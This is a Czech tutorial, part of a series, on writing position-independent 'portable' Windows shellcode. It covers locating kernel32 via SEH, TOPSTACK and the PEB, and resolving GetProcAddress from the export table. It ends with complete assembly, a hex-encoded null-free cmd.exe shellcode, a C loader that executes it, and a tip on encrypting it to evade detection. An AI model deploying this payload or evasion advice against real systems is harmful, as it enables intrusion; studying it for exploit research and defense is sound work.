Od posledního dílu seriálu uplynul více než rok a půl. Abych se přiznal, bylo hlavním problémem téma tohoto dílu: Zajištění přenositelnosti shellcodů mezi různými verzemi Windows bez nutnosti upravovat kód. Jedná se o poměrně rozsáhlé a náročné téma. Jak na pochopení, tak na vysvětlení. Při prvotním psaní jsem se úkolu zalekl a rok a půl ho odsouval ‚na pozdější dobu‘. Až nyní jsem našel dost odvahy, abych ho sepsal a na Vás, čtenářích, bude zhodnotit, jak jsem se s tímto úkolem popasoval. Zda úspěšně nebo naprosto neúspěšně.

Obsah
——————————————
i. Úvod
ii. Základní myšlenka
iii. Využití SEHu
iv. Využití techniky TOPSTACK
v. Využití struktury PEB
vi. Získání API funkce GetProcAddress
vii. CMD.EXE Shellcode
viii. Kompletní kód a výsledný shellcode
ix. Závěr
Odkazy
——————————————

i. Úvod
V předchozím dílu jsme si ukázali, jak vytvořit generátor pro zakódování shellcodů. Dnes posuneme vlastnosti našich shellcodů do zcela jiné dimenze. Shellcody jsou tzv. position independent codes. Jednoduše řečeno, na rozdíl od běžných aplikací, které potřebují loader, aby jim předpřipravil pole působnosti, jinak by nemohly fungovat, shellcody takový loader nepotřebují a běhají prakticky v kterékoliv části paměti, pokud je možné do ní shellcode zapsat a spustit. Ač disponují shellcody touto skvělou vlastností, mají určitou slabinu a to dost výraznou. Obsažená volání funkcí používají pevně dané adresy – předpokládáme, že daná DLL knihovna bude vždy nahrána na stejné místo. To už ale od Windows XP SP2 není zaručené u všech aplikací. Microsoft totiž přišel s nástrojem, který měl zabránit možnosti exploitace jejich systému. Jedná se o Address Space Layout Randomization (ASLR)[1], jednou z jeho vlastností je nahrávání knihoven na ‚náhodné‘ adresy (ve skutečnosti se tyto adresy dopočítávají podle konkrétního vzorce, ale to není v tento okamžik podstatné). Co z toho vyplývá? Pokud na Windows XP SP1 byla adresa funkce GetProcAddress[2] 0x12345678 a rozdíl mezi dalšími verzemi Windows byl pouze minimální, od Windows XP SP2 můžeme klidně zjistit, že jednou je GetProcAddress na 0x87654321, jindy zase na 0x12783546 a příště zase jinde. Tímto se stává z našich dřívějších shellcodů pouze hromádka nepoužitelného rozsypaného čaje.

Zákonitě si každý z vás položí otázku: Existuje možnost, jak se tomuto omezení vyhnout? Existuje, jinak bych nepsal tento díl seriálu 😉 Dokonce neexistuje pouze jediné řešení, ale celá řada. Některá více spolehlivá, některá spolehlivá méně. Postupně si probereme všechny mně známé možnosti, z nichž si nakonec může každý z vás vybrat tu variantu, která mu nejvíce vyhovuje. Shellcode, který si dnes představíme, se označuje pojmem Portable Shellcode. Jak již samotný název napovídá, shellcode bude pracovat správně na kterékoliv verzi Windows, bez ohledu na jazykovou mutaci nebo aplikovaný Service Pack.

ii. Základní myšlenka
Pokud si celý problém detailně rozebereme, dojdeme k následujícímu zjištění. Abychom mohli získat adresu cizích funkcí, potřebujeme znát minimálně adresu API funkce GetProcAddress. Pokud chceme znát adresu API funkce GetProcAddress, musíme vědět, kde se nachází DLL knihovna, ve které je funkce GetProcAddress definována, konkrétně se jedná o DLL knihovnu kernel32.dll[3]. A nakonec, abychom zjistili umístění DLL knihovny v paměti, musíme mít nějaký mechanismus, který nám vyhledání DLL knihovny umožní. Nyní začneme řešit věci od konce. Nejprve vytvoříme algoritmus, jenž nám vrátí adresu kernel32.dll v paměti. Mně jsou známy tři možné algoritmy.

iii. Využití SEHu
SEH[4], neboli Structured Exception Handling, je mechanismus zpracování chyb vytvořený firmou Microsoft. Jedná se o jednosměrný seznam struktur typu EXCEPTION_REGISTRATION_RECORD[5], z nichž každá obsahuje ukazatel na další článek řetězu (prvek jednosměrného seznamu) a ukazatel na handler, což je struktura EXCEPTION_DISPOSITION[6]. Celý seznam se dá logicky procházet. Začátek seznamu poznáme podle skutečnosti, že místo ukazatele na další článek řetězu, obsahuje hodnotu -1. Můžeme využít skutečnosti, že defaultní Unhandled Exception Handler používá funkci z DLL knihovny kernel32.dll. Ukazatel na SEH se nachází na úplném začátku struktury TEB (bude vysvětlena později), tedy na adrese fs:[0]. ‚Rozmotáme‘ celý řetěz a postupnou dekrementací získaného pointeru se budeme snažit najít tzv. DOS Signature (bude vysvětleno později).

Ve chvíli, kdy se dostaneme k této signatuře, pravděpodobně jsme našli začátek DLL knihovny kernel32.dll. Možná to vypadá složitě, ovšem praktický kód ukáže pravý opak. Teď ta horší zpráva. Tato technika nebude fungovat vždy. Defaultní Unhandled Exception Handler může být záměrně nahrazen jiným handlerem, který už ale 100% nebude umístěn v DLL knihovně kernel32.dll. Proto je nutné využívat tuto techniku obezřetně a pouze tam, kde máme jistotu, že defaultní Unhandled Exception Handler nebyl nahrazen. Samotný kód by mohl vypadat například následovně:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    xor ecx, ecx              ; ecx == 0
    assume fs:nothing
    mov esi, fs:[ecx]         ; esi = pointer to SEH
    not ecx	                  ; ecx == -1
  find_seh:
    lodsd
    cmp eax, ecx              ; eax == -1??
    jne	find_seh
    mov ebx, [esi + 04h]      ; eax = default Unhandled Exception Handler
  find_kernel32:
    dec ebx
    xor bx, bx
    cmp word ptr [ebx], 'ZM'  ; is here DOS Signature?
    jne find_kernel32
    ; ebx = kernel32 base address

SEH

iv. Využití techniky TOPSTACK
Technika TOPSTACK využívá faktu, že ve struktuře TEB[7] je uložena adresa vrcholu zásobníku. TEB, neboli Thread Environment Block (někdy označovaná zkratkou TIB – Thread Information Block), obsahuje informace o aktuálním běhu vlákna. Každé vlákno má svou vlastní strukturu TEB. Nás v současné chvíli zajímá prvek struktury TEB na pozici 4, což je právě adresa vrcholu zásobníku. Od adresy vrcholu zásobníku odečteme konstantní hodnotu 01Ch, čímž se dostaneme na pozici, kde je uložen SE handler, který by se měl nacházet právě v DLL knihovně kernel32.dll. Opět se pokusíme nalézt DOS Signaturu, čímž najdeme i začátek DLL knihovny kernel32.dll v paměti. Výsledný kód je velmi malý, ovšem použitelný je až od Windows NT. Kód vypadá třeba takhle:

1
2
3
4
5
6
7
8
9
10
    xor ecx, ecx              ; ecx == 0
    assume fs:nothing
    mov eax, fs:[ecx + 04h]   ; eax == address of top stack 
    mov ebx, [eax - 01Ch]     ; ebx == SE handler
  find_kernel32:
    dec 	ebx
    xor bx, bx
    cmp word ptr [ebx], 'ZM'  ; is here DOS Signature?
    jne find_kernel32
    ; ebx = kernel32 base address

TOPSTACK

v. Využití struktury PEB
PEB[8], neboli Process Environment Block, je další systémovou strukturou. Každý proces má svou vlastní strukturu PEB. Uchovávají se v ní informace o procesu: O haldě, informace o binárce a také tři obousměrné seznamy modulů, které byly nahrány do adresního prostoru procesu. Právě tyto seznamy nás zajímají. Popisují pořadí, ve kterém byly moduly do adresního prostoru procesu nahrány, pořadí, ve kterém byly moduly inicializovány a pořadí, ve kterém jsou v paměti uspořádány.

Strukturu PEB najdeme na adrese fs:[030h]. Zde nás bude zajímat pouze pole Ldr, která je ve struktuře PEB na pozici 0Ch. Jedná se o ukazatel na strukturu PEB_LDR_DATA[9]. V této stuktuře již nalezneme ukazatele na tři výše zmiňované seznamy, tedy: InLoadOrderModuleList, InMemoryOrderModuleList, InInitializationOrderModuleList. Tyto seznamy jsou reprezentovány jako struktury LIST_ENTRY[10], které obsahují ukazatel na předchozí a následující článek řetězce. Reálně jsou ovšem tyto adresy reprezentovány strukturou LDR_MODULE[11] popisující každý z modulů zavedených do adresního prostoru procesu.

Tedy, nejdříve získáme adresu struktury PEB, z ní pak adresu struktury PEB_LDR_DATA. V této struktuře si zjistíme adresu seznamu InMemoryOrderModuleList, v níž najdeme odkaz na seznam InInitializationOrderModuleList, který bude obsahovat bázovou adresu (adresa, kde DLL knihovna v paměti fyzicky začíná) DLL knihovny kernel32.dll. Tato technika by měla spolehlivě fungovat na všech verzích Windows od Windows 95 do současné verze, Windows 7 (a pravděpodobně bude spolehlivě fungovat i v následujících verzích Windows). To řadí tuto techniku mezi horké favority při psaní portable shellcodů. Pokud někdo zcela nepochopil to, co jsem nyní popsal, kód mu snad poslouží mnohem lépe:

1
2
3
4
5
6
7
8
9
10
    xor ecx, ecx             ; ecx == 0
    assume fs:nothing
    mov eax, fs:[ecx + 030h] ; eax == address of PEB structure
    mov eax, [eax + 0Ch]     ; eax == address of Ldr structure
    mov esi, [eax + 014h]    ; esi == InMemoryOrderModuleList
    lodsd
    xchg esi, eax            ; switch values in registers
    lodsd
    mov ebx, [eax + 010h]
    ; ebx = kernel32 base address

PEB

Tyto tři výše popsané metody lze považovat za základní. K nim pak můžeme přiřadit celou škálu různých derivátů založených na těchto technikách (například procházení seznamů modulů pomocí struktury PEB a porovnávání jmen modulů ve struktuře LDR_MODULE, které jsou ovšem ve formě UNICODE stringu, tudíž je třeba je konvertovat na ANSI, a aby toho nebylo málo, je potřeba tyto stringy ještě převést na jednotnou velikost, tedy buď malé nebo velké znaky)[12]. Nyní můžeme konečně přikročit k dalšímu kroku při realizaci portable shellcodu – nalezení API funkce GetProcAddress.

vi. Získání API funkce GetProcAddress
Abychom dokázali realizovat tuto část, musíme znát alespoň na základní úrovni strukturu PE souboru. Úplný popis by byl nad rámec tohoto seriálu, proto budou popsány pouze klíčové a pro nás důležité části, navíc vždy v takovém rozsahu, jaký je nezbytný pro pochopení problematiky. Každý PE soubor začíná tzv. DOS Signaturou. Tato DOS Signatura je součástí struktury IMAGE_DOS_HEADER[13] a má hodnotu ‚MZ‘ (iniciály Marka Zbikowského – prvního architekta MS-DOS). Jak samotný název struktury napovídá, jsou v této struktuře uložna data, která využíval operační systém MS-DOS. V současné době se již velká část těchto prvků struktury nepoužívá a struktura samotná zůstává kvůli zpětné kompatibilitě se systémem MS-DOS. Nás kromě signatury (prvek e_magic datového typu WORD) bude zajímat ještě offset odkazující na začátek PE hlaviček (prvek e_lfanew datového typu LONG).

Vezmeme offset e_lfanew a přičteme ho ke kernel32 base address, kterou jsme získali v předešlé části. Nyní jsme na začátku PE hlaviček, což by měla dokázat NT Signatura s hodnotou ‚PE\0\0‘, jež by měla značit právě začátek PE hlaviček. NT Signatura je součástí struktury IMAGE_NT_HEADERS[14]. Ta je dále složena ze struktur IMAGE_FILE_HEADER[15] a IMAGE_OPTIONAL_HEADER[16]. První strukturu přeskočím a rovnou vyberu z druhé prvek DataDirectory, což je pole šestnácti struktur typu IMAGE_DATA_DIRECTORY[17]. Tyto struktury jsou řazeny jedna za druhou. A obsahují RVA (Relative Virtual Address – offset, který je nutné přičíst k tzv. base address, čímž získáme VA (Virtual Address) – pokud ale není modul namapován do paměti a pracuje se s ním tzv. v surovém stavu, je nutné tuto hodnotu přepočítat na RAW offset) a velikost dané sekce. Z tohoto pole šestnácti struktur nás zajímá pouze první, což ukazatel na EAT (Export Address Table), což je tabulka funkcí, které daný modul exportuje (funkce většinou exportují jen DLL knihovny, ale není to železným pravidlem). Součtem RVA + BaseAddress dostaneme adresu EATu. Ta je reprezentována strukturou IMAGE_EXPORT_DIRECTORY[18]. Z této struktury budeme aktivně využívat prvky NumberOfNames(nemusíme vždy), AddressOfFunctions, AddressOfNames a AddressOfNameOrdinals. Jako první použijeme AddressOfNames, což je RVA paměti, kde jsou za sebou uvedeny názvy exportovaných funkcí, oddělené od sebe NULL bajtem. Budeme procházet touto pamětí string po stringu a budeme hledat a počítat, kolikátá je naše funkce GetProcAddress. Nyní použijeme AddressOfNameOrdinals. Ta udává obsahuje ordinální hodnotu dané API funkce. Opět se jedná o RVA a přičteme k ní pozici stringu GetProcAddress z předchozího kroku vynásobenou dvěma (AddressOfNameOrdinals je totiž pole datových typu WORD a ten má většinou velikost 2 bajty).

Nyní zbývá poslední krok. Použijeme AddressOfFunctions (opět RVA), obsahující adresy konkrétních funkcí a přičteme k němu získanou ordinální hodnotu vynásobenou tentokráte hodnotou čtyři (AddressOfFunctions je pole datových typu DWORD a ten má obyčejně velikost 4 bajty). Nyní bychom měli mít adresu API funkce GetProcAddress. Nyní již můžeme pohodlně získat adresu libovolné jiné API funkce. Stačí nám k tomu base address modulu, kde se funkce nachází a jméno funkce, kterou chceme získat. Pokud chceme používat API funkce z knihoven, které nejsou naloadovány v adresním prostoru aplikace, můžeme použít funkci LoadLibrary, jenž požadovaný modul do procesu zavede a vrátí base address. Popis je hodně stručný, ale měl by být dostačující. Samotný kód může vypadat třeba následovně:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    mov edx, [ebx + 03Ch]          ; edx = PE offset
    add edx, ebx                   ; edx - PE header
    mov edx, [edx + 078h]          ; edx + sizeof(IMAGE_NT_HEADERS)
    add edx, ebx                   ; EAT
    mov esi, [edx + 020h]
    add esi, ebx                   ; esi = AddressOfNames
    xor ecx, ecx                   ; accumulator
  NextApiFunctionName:	
    inc ecx
    lodsd
    add eax, ebx
    cmp dword ptr [eax], "PteG"
    jnz NextApiFunctionName
    cmp dword ptr [eax + 4], "Acor"
    jnz NextApiFunctionName
    cmp dword ptr [eax + 8], "erdd"
    jnz NextApiFunctionName
    mov esi, [edx + 024h]									
    add esi, ebx                     ; esi = AddressOfNameOrdinals
    mov cx, word ptr [esi + ecx * 2] ; esi + accumulator * sizeof(word)
    dec ecx
    mov esi, [edx + 01Ch]
    add esi, ebx                     ; esi = AddressOfFunctions
    mov edx, [esi + ecx * 4]         ; esi + Ordinal * sizeof(dword)
    add edx, ebx                     ; edx - GetProcAddress

Jsme za polovinou úkolu. Nyní již půjde o rutinní záležitost. Získej adresu funkce, předej jí argumenty na zásobník a zavolej ji. Zde by již neměl nastat žádný velký a neočekávaný problém. Jako ukázku zvolím tradiční shellcode, který spustí program cmd.exe.

vii. CMD.EXE Shellcode
Tato poslední část bude složena z následujících kroků: Získej adresu API funkce WinExec[19], zavolej WinExec, získej adresu API funkce ExitProcess[20], zavolej ExitProcess. Jedinou překážkou zde může být práce s řetězci na zásobníku (je pohodlnější a umožňuje více možností) a zápas s NULL bajty v těchto řetězcích. Použití API funkce ExitProcess je možná trochu nad rámec, ovšem neměla by způsobit pád aplikace. Ta se totiž vypne tak, jako by ji někdo skutečně vypnul. Kód by mohl vypadat následovně:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    push edx                     ; save edx = GetProcAddress
    push 001636578h              ; 01cex
    sub byte ptr [esp + 3], 001h ; remove NULL byte
    push 0456E6957h              ; EniW
    push esp                     ; pointer to string WinExec
    push ebx                     ; base address
    call edx                     ; GetProcAddress
    push 001646D63h              ; 01dmc
    sub byte ptr [esp + 3], 001h ; remove NULL byte
    mov ecx, esp                 ; ecx = pointer to string cmd
    push 1                       ; SW_SHOWNORMAL
    push ecx                     ; pointer to string cmd
    call eax                     ; WinExec
    add esp, 0Ch                 ; restore stack
    pop edx                      ; edx = GetProcAddress
    push 001737365h              ; 01sse
    sub byte ptr [esp + 3], 001h ; remove NULL byte
    push 0636F7250h              ; corP
    push 074697845h              ; tixE
    push esp                     ; pointer to string ExitProcess
    push ebx                     ; base address
    call edx                     ; GetProcAddress
    push ecx                     ; random number
    call eax                     ; ExitProcess

shellcodecmd

Nyní celý kód zkompletujeme, zkompilujeme, vyzkoušíme a přepracujeme na skutečný shellcode.

viii. Kompletní kód a výsledný shellcode
Jednotlivé kusy kódů by na sebe měly pohodlně pasovat, takže je stačí jen poskládat a zkompilovat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
    xor ecx, ecx
    assume fs:nothing
    mov eax, fs:[ecx + 030h]
    mov eax, [eax + 0Ch]
    mov esi, [eax + 014h]
    lodsd
    xchg esi, eax
    lodsd
    mov ebx, [eax + 010h]
 
    mov edx, [ebx + 03Ch]
    add edx, ebx
    mov edx, [edx + 078h]
    add edx, ebx
    mov esi, [edx + 020h]
    add esi, ebx
    xor ecx, ecx
  NextApiFunctionName:	
    inc ecx
    lodsd
    add eax, ebx
    cmp dword ptr [eax], "PteG"
    jnz NextApiFunctionName
    cmp dword ptr [eax + 4], "Acor"
    jnz NextApiFunctionName
    cmp dword ptr [eax + 8], "erdd"
    jnz NextApiFunctionName
    mov esi, [edx + 024h]									
    add esi, ebx
    mov cx, word ptr [esi + ecx * 2]
    dec ecx
    mov esi, [edx + 01Ch]
    add esi, ebx
    mov edx, [esi + ecx * 4]
    add edx, ebx
 
    push edx
    push 001636578h
    sub byte ptr [esp + 3], 001h
    push 0456E6957h
    push esp
    push ebx
    call edx
    push 001646D63h
    sub byte ptr [esp + 3], 001h
    mov ecx, esp
    push 1
    push ecx
    call eax
    add esp, 0Ch
    pop edx
    push 001737365h
    sub byte ptr [esp + 3], 001h
    push 0636F7250h
    push 074697845h
    push esp
    push ebx
    call edx
    push ecx
    call eax

Vytvořit skutečný shellcode už by nyní měla být záležitost instinktu.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <windows.h>
 
int main(){
    unsigned char shellcode[]=
    "\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B"
	"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53"
	"\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
	"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81"
	"\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04"
	"\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64"
	"\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3"
	"\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3"
	"\x8B\x14\x8E\x03\xD3\x52\x68\x78\x65\x63"
	"\x01\x80\x6C\x24\x03\x01\x68\x57\x69\x6E"
	"\x45\x54\x53\xFF\xD2\x68\x63\x6D\x64\x01"
	"\x80\x6C\x24\x03\x01\x8B\xCC\x6A\x01\x51"
	"\xFF\xD0\x83\xC4\x0C\x5A\x68\x65\x73\x73"
	"\x01\x80\x6C\x24\x03\x01\x68\x50\x72\x6F"
	"\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2"
	"\x51\xFF\xD0";
 
    LPVOID lpAlloc;
    void (*pfunc)();
 
    lpAlloc = VirtualAlloc(0, 4096,
                           MEM_COMMIT,
                           PAGE_EXECUTE_READWRITE);
 
    if(lpAlloc == NULL){
        printf("Memory not allocated!\n");
        return 0;
    }
 
    memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1);
 
    pfunc = (void (*)())lpAlloc;
 
    pfunc();
 
    return 0;
}

portableshellcodecmd

ix. Závěr
Gratuluji! Právě jste se stal držitelem vlastního bezNULLbajtového portable shellcodu, který spustí příkazovou řádku a ukončí se. Ještě lepší zprávou je, že výsledný shellcode je přibližně o 40 bajtů menší než ten, který jsem dříve publikoval jako hotový kód. Během psaní jsem totiž provedl několik optimalizací vzhledem k velikosti, což se nakonec ukázalo jako skutečně správné rozhodnutí 🙂 Nyní by každý čtenář měl dokázat napsat portable shellcode dle své chuti a svých požadavků. Není problém ho dále zakryptovat a zbavit se tak detekce založené například na vyhledávání konkrétních textových řetězců (v našem případě části stringů GetProcAddress, WinExec, ExitProcess). Dnešní díl seriálu byl poněkud rozsáhlejší než jsem původně počítal. Dokonce jsem radši vypustil některé další pasáže, které zařadím do některého z dalších dílů, případně sepíši doplňkový díl, kde budou tyto věci popsány.

Odkazy
[1] – http://en.wikipedia.org/wiki/Address_space_layout_randomization
[2] – http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212%28v=vs.85%29.aspx
[3] – http://en.wikipedia.org/wiki/Microsoft_Windows_library_files#Kernel32.dll
[4] – http://en.wikipedia.org/wiki/Structured_Exception_Handling#Structured_Exception_Handling
[5] – http://www.nirsoft.net/kernel_struct/vista/EXCEPTION_REGISTRATION_RECORD.html
[6] – http://www.nirsoft.net/kernel_struct/vista/EXCEPTION_DISPOSITION.html
[7] – http://en.wikipedia.org/wiki/Win32_Thread_Information_Block
[8] – http://en.wikipedia.org/wiki/Process_Environment_Block
[9] – http://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html
[10] – http://msdn.microsoft.com/en-us/library/windows/hardware/ff554296%28v=vs.85%29.aspx
[11] – http://undocumented.ntinternals.net/UserMode/Structures/LDR_MODULE.html
[12] – http://blog.harmonysecurity.com/2009_06_01_archive.html
[13] – http://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html
[14] – http://msdn.microsoft.com/en-us/library/windows/desktop/ms680336%28v=vs.85%29.aspx
[15] – http://msdn.microsoft.com/en-us/library/windows/desktop/ms680313%28v=vs.85%29.aspx
[16] – http://msdn.microsoft.com/en-us/library/windows/desktop/ms680339%28v=vs.85%29.aspx
[17] – http://msdn.microsoft.com/en-us/library/windows/desktop/ms680305%28v=vs.85%29.aspx
[18] – http://pinvoke.net/default.aspx/Structures/IMAGE_EXPORT_DIRECTORY.html
[19] – http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393%28v=vs.85%29.aspx
[20] – http://msdn.microsoft.com/en-us/library/windows/desktop/ms682658%28v=vs.85%29.aspx